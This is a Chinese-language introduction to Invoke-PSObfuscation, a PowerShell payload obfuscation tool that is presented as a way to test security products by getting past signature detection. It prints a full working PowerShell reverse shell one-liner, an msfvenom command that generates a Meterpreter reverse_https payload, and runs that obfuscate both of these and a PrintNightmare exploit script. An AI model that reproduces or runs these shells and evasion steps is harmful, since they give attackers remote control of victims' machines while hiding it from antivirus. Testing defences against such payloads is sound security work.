关于Invoke-PSObfuscation
Invoke-PSObfuscation是一款功能强大的PowerShell Payload代码混淆工具,在该工具的帮助下,广大研究人员可以轻松对PowerShell Payload中的各个组件以及各部分代码进行混淆处理,以测试安全防护产品的检测性能。传统的混淆技术倾向于通过添加代码/编码层来封装标准代码,例如base64或压缩等。这种技术所处理的Payload从某种程度上来说也能取得不错的效果,但在提取预期Payload时又往往会出各种问题,而且也容易被检测到,这也是传统技术的瓶颈。Invoke-PSObfuscation所使用的技术,允许我们使用随机变量来混淆脚本中的各部分组件,同时也能实现相同的代码逻辑,而无需将这个Payload封装在某个层中。 专用Payload
该项目所实现的脚本代码还可以生成此框架的专用Payload,这些Payload可以在项目的根目录对应文件夹中找到: 工具组件
与许多其他编程语言一样,PowerShell可以分解为许多不同的组件,这些组件共同构成了代码的可执行逻辑。这使我们能够相对容易地绕过基于签名的检测,也就是将Payload中单个组件的表示方式更改为模糊处理后难以理解的形式。该工具支持我们以可控的方式处理Payload中需要混淆处理的单个组件。在处理复杂Payload时,自定义函数参数/变量也会发生变化,因此需要确保在处理后对Payload进行测试。5、方法($client.GetStream());6、命名空间类(System.Net.Sockets.TCPClient);
生成器
每个组件都有自己的专用生成器,该生成器包含在每次执行期间随机选择的可能静态或动态生成的值列表。如果一个组件有多个实例,那么它将使用生成器单独迭代每个实例。每次针对给定的Payload运行此工具时,这会增加一定程度的随机性,因此每次迭代都会有所不同:$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
工具要求
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:git clone https://github.com/gh0x0st/Invoke-PSObfuscation.git
(向右滑动,查看更多)
工具使用
CVE-2021-34527
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done
PS /home/tristram>
(向右滑动,查看更多)
PowerShell反向Shell
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
Generator 2 >> 127.0.0.1 >> $([char](16*49/16)+[char](109*50/109)+[char](0+55-0)+[char](20*46/20)+[char](0+48-0)+[char](0+46-0)+[char](0+48-0)+[char](0+46-0)+[char](51*49/51))
Generator 2 >> PS >> $([char](1*80/1)+[char](86+83-86)+[char](0+32-0))
Generator 1 >> > >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done
(向右滑动,查看更多)
对PowerShell反向Shell进行模糊处理
Meterpreter PowerShell Shellcode
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done
(向右滑动,查看更多)
工具运行截图
许可证协议
本项目的开发与发布遵循GPL-3.0开源许可证协议。 项目地址
Invoke-PSObfuscation:https://github.com/gh0x0st/Invoke-PSObfuscation参考资料
https://www.offensive-security.com/offsec/powershell-obfuscation/